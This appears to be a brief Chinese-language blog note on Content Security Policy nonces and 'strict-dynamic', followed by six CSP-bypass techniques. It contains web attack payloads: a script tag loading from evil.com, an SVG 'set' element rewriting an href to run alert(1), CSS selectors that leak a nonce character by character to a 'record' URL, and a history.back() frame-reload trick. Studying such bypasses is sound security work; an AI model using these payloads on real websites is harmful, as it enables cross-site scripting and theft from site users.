Bypass the Nonces

不畏将来,不念过往。如此,安好!

Someone famous 丰子恺

# Nonces 如何工作的

<script        nonce="maple14"   src="evil.com/">  在dom 里面只有 带正确 nonce值的 script 才会执行。

并不会判断白名单。 

#strict-dynamic 是什么

script-src ”nonce-r4nd0m“ ”strict-dynamic“; object-src ”none“; base-uri ”none“;

最大限度的相信带有正确nonce 标记的 script 标签,而不会去判断白名单;

1.忽略 白名单

2 允许用 document.createElement(‘script’) 方式执行 js


必须 document.body.appendChild(document.createElement(‘script’))

X document.write(‘< script>’);

x document.boby.innerHTML=‘< script>’

#CSP violation reports

‘report-simple’ 关键字 : 将会触发CSP的  content 发送到后台report url ,包括inline 的是script, 事件函数,扩展js...

#官方的CSP 规则审计

#Bypass it then

#0X1 inject <base>

所有链接 提供一个基础地址  除非 CSP 没有 base-uri :None 这一项

#0X2 替换掉script的地址栏

< svg>< set href="victim" attributeName="href" to="data:,alert(1)">< /set>< /svg>

将会替换掉id为 victim的 标签 href栏  ps fixed in chrome58 不能修改script 标签

#0X3 用css 偷 nonce

必须确保script 是块级的

script { display: block } script[nonce^="a"]:after { content: url("record?a") } script[nonce^="b"]:after { content: url("record?b") }

用css选择器去匹配 ,逐字匹配

#X04用 <textarea> 包裹带nonce的标签

最好在form 里面可以 , 并且前提是游览器必须开了缓存。 而且是form action 在同源下可控;

#X05 reload 页面

不经过服务器,让页面重载一次

victimFrame.src = "data:text/html,< script>history.back()< /script>"

#X06 location.href 用地址栏

因为只是刷新页面。nonce不变*-* 








标签

注意!

Warning! 关注一下!